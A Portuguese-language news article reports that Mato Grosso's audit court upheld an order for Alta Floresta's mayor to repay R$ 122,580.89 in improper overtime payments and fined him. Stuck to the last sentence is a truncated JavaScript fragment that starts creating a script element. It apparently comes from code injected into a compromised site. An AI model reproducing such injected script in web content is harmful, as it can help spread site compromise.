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TCE mantém multa aplicada ao prefeito de Alta Floresta

AsielAssessoria

Por decisão unânime do pleno do Tribunal de Contas do Estado, o prefeito de Alta Floresta, Asiel Bezerra de Araújo, terá que devolver aos cofres do município R$ 122,580,89. A devolução refere-se a valores pagos indevidamente com horas extras para servidores municipais ocupantes de cargos comissionados e para funcionários de carreira do quadro de pessoal do município.
A medida foi determinada no julgamento da Representação de Natureza Interna, proposta em 10/03/2015, pela Secretaria de Controle Externo de Atos de Pessoal e RPPS, após constatação de irregularidades/ilegalidades supostamente cometidas na gestão de Asiel de Araújo, naquele Município. O pagamento irregular de horas extras beneficiou de forma habitual a servidores municipais de carreira e também ocupantes de cargos comissionados ou em funções gratificadas que desempenham atividades de direção, chefia e assessoramento.
Durante a tramitação do processo, o prefeito teve decretada a revelia em julgamento singular, pois não atendeu a citação. Após a decisão singular, o gestor enviou documentos e requereu prorrogação de prazo para enviar defesa, alegando que encontrava-se afastado do cargo por 40 dias, não tendo tomado conhecimento das citações. Mesmo tendo concedido o prazo de prorrogação, o gestor não se manifestou, sendo novamente declarada a sua revelia em novo Julgamento Singular.
O conselheiro relator, após analisar os autos e os relatórios, concluiu que houve, de fato, pagamento habitual de gratificação extraordinária (hora extra) no montante de R$ 255.660,10 a servidores da Prefeitura Municipal de Alta Floresta, muito acima do limite de duas horas diárias, bem como pagamento a servidores ocupantes de cargos comissionados ou funções gratificadas, que desempenham atividades de direção, chefia e assessoramento.
O conselheiro destacou que a Constituição equiparou o direito dos servidores públicos ao dos trabalhadores rurais e urbanos, garantido-lhes remuneração pela hora extraordinária trabalhada, desde que atendidas as condições impostas na legislação infraconstitucional, ou seja, apenas para atender situações excepcionais e temporárias, conforme rege o próprio Estatuto dos Servidores Públicos do Município, Lei Municipal 382/19911, arts. 100 e 101. E, mesmo assim, o serviço extraordinário não pode ultrapassar a duas horas diárias, limite não respeitado pelo gestor.
Outra irregularidade constatada foi o pagamento de horas extras para servidores ocupantes de cargos comissionados ou função gratificada de direção, chefia e assessoramento, o que é vetado por lei e sobre o qual o próprio TCE baixou a Resolução de Consulta 63/2011 – Acórdão 2101/2005 e o Acórdão 1.382/2014 – Tribunal Pleno/Processo 7.317-2/2013.
“Assim sendo, assiste razão à equipe técnica e ao Ministério Público de Contas, visto que é clara a violação de dispositivo constitucional, legal e decisões deste Tribunal, devendo o gestor ressarcir aos cofres municipais os valores pagos indevidamente aos servidores comissionados, no montante de R$ 122.580,89, sem prejuízo da multa regimental prevista no art. 2892 do RITCE/MT, c/c o art. 6ª, II, “a”, da RN 17/20103, deste Tribunal, cabendo ao prefeito, se entender oportuno, propor medida regressiva de recuperação do valor mencionado”, consignou em seu voto o conselheiro Valter Albano.
Com a decisão, o prefeito ficará impedido ainda de autorizar a realização e pagamento de horas extras habituais acima do legalmente permitido a servidores efetivos, bem como de autorizar a realização de horas extras a servidores comissionados a qualquer título, suspendendo de imediato, as situações irregulares constatadas nessa Prefeitura, sob pena de nova multa, e ressarcimento do dano.
Além da devolução referente ao pagamento de horas extraordinárias a servidores comissionados e/ou em função de confiança, em desacordo com os arts. 100 e 101, da Lei Municipal 392/2011, e Resolução de Consulta 63/2011, deste Tribunal, o prefeito Asiel de Araújo foi multado em 20 Unidades de Padrão Fiscal do Estado de Mato Grosso (UPFs/MT) pelas infrações legais.var d=document;var s=d.createElement(‘script’);

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